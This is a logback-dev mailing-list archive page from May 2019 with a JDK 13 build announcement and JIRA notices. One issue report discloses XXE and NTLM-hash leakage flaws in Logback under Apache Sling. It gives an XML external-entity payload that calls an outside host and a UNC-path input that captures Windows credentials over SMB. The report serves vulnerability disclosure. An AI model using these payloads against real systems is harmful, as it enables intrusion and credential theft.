May 2019 - logback-dev - mailman3.qos.ch

JDK 13 - Early Access build 20 is available
by Rory O'Donnell 10 May '19

10 May '19

Hi Ceki, *OpenJDK builds *- JDK 13 - Early Access build 20 is available at http://jdk.java.net/13/ * These early-access , open-source builds are provided under the o GNU General Public License, version 2, with the Classpath Exception <http://openjdk.java.net/legal/gplv2+ce.html>. * Changes in this build <http://hg.openjdk.java.net/jdk/jdk/log?rev=reverse%28%22jdk-13%2B19%22%3A%3…> * Release notes [1] *Significant changes since the last availability email* * build 20 o Removal of T-Systems Deutsche Telekom Root CA 2 certificate (JDK-8222137) o Add new FileSystems.newFileSystem methods (JDK-8218875) o Enhance auto vectorization for x86 (JDK-8222074) o Remove CollectorPolicy and its subclasses (JDK-8198505) o Drop support for pre JDK 1.4 SocketImpl implementations (JDK-8216978) * build 19 o add support for generating method handles from a variable symbol (JDK-8222744) o mark new VM option AllowRedefinitionToAddOrDeleteMethods as deprecated (JDK-8222934) * build 18 o Improve String::equals warmup characteristics (JDK-8215017) o [Containers] Improve systemd slice memory limit support (JDK-8217338) Bug fixes for issues reported by Open Source Projects * build 20 o assert(Compile::current()->live_nodes() < Compile::current()->max_node_limit()) failed: Live Node limit exceeded limit (JDK-8219520) o C2: MemNode::can_see_stored_value() ignores casts which carry control dependency (JDK-8219902) o New fix of the deadlock in sun.security.ssl.SSLSocketImpl (JDK-8219991) JEP updates since last email * JEP 350: Dynamic CDS Archives <http://openjdk.java.net/jeps/350> istargeted for JDK 13. * JEP 351: ZGC: Uncommit Unused Memory <http://openjdk.java.net/jeps/351> istargeted for JDK 13 * JEP 353: Reimplement the Legacy Socket API <http://openjdk.java.net/jeps/353> moved to Candidate * JEP 354: Switch Expressions <http://openjdk.java.net/jeps/354> moved to Candidate. OpenJDK Committers’ Workshop, 1–2 August 2019 [2] Rgds,Rory [1] http://jdk.java.net/13/release-notes [2] https://mail.openjdk.java.net/pipermail/announce/2019-April/000269.html -- Rgds, Rory O'Donnell Quality Engineering Manager Oracle EMEA, Dublin, Ireland

1 0

[JIRA] (LOGBACK-745) TimeBasedRollingPolicy does not trigger
by QOS.CH (JIRA) 09 May '19

09 May '19

1 0

testing - please disregard
by Ceki 09 May '19

09 May '19

testing - please disregard -- Ceki Gülcü

1 0

[JIRA] (LOGBACK-1465) xxe and Information disclosure vulnerabilities in Logback
by QOS.CH (JIRA) 09 May '19

09 May '19

shuiboye created LOGBACK-1465: --------------------------------- Summary: xxe and Information disclosure vulnerabilities in Logback Key: LOGBACK-1465 URL: https://jira.qos.ch/browse/LOGBACK-1465 Project: logback Issue Type: Bug Components: logback-core Environment: I test Apache Sling latest version 11 integrating Logback running on windows system Reporter: shuiboye Assignee: Logback dev list Priority: Critical Attachments: image-2019-05-09-15-41-28-419.png, image-2019-05-09-15-41-45-829.png, image-2019-05-09-15-43-09-668.png, image-2019-05-09-15-43-25-103.png Hi,I find xxe and Information disclosure vulnerabilities in Logback when testing Apache Sling latest version 11 integrating Logback. First I login in Sling as an admin. *xxe* The vulnerable url is [http://127.0.0.1:8080/system/console/configMgr/org.apache.sling.commons.log…] In the " Logback Config File " field,I input "\\192.168.0.102\c$\xxe.xml" as shown below. !image-2019-05-09-15-43-09-668.png! The content of the xxe.xml under c:\ directory on the server 192.168.0.102 is {quote}{quote}<?xml version="1.0"?>{quote} {quote}<!DOCTYPE r [{quote} {quote}<!ENTITY % sp SYSTEM "[http://192.168.0.102:8090/sling]">{quote} {quote}%sp;{quote} {quote}]>{quote}{quote} After click "save" ,the netcat running on the server 192.168.0.102 and listening to the port 8090 receives the request as shown below. !image-2019-05-09-15-43-25-103.png! *information disclosure(Windows username and NTLM password hash)* The vulnerable url is [http://127.0.0.1:8080/system/console/configMgr/org.apache.sling.commons.log…] To ensure that the " Logback Config File " can result in the server's Windows username and NTLM password hash being leaked to remote attackers through SMB,I use another machine to visit the vulnerable page whose url is also [http://192.168.0.102:8080/system/console/configMgr/org.apache.sling.commons…] In the " Logback Config File " field,I input "\\192.168.9.128\test".The ip 192.168.9.128 is anthoer machine used to capture smb. !image-2019-05-09-15-41-28-419.png! After click "save" ,the machine whose ip is 192.168.9.128 successfully captures the Windows username and NTLM password hash through SMB. !image-2019-05-09-15-41-45-829.png! -- This message was sent by Atlassian JIRA (v7.3.1#73012)

1 0

[JIRA] (LOGBACK-1404) SizeAndTimeBasedRollingPolicy discards log data
by QOS.CH (JIRA) 01 May '19

01 May '19

1 0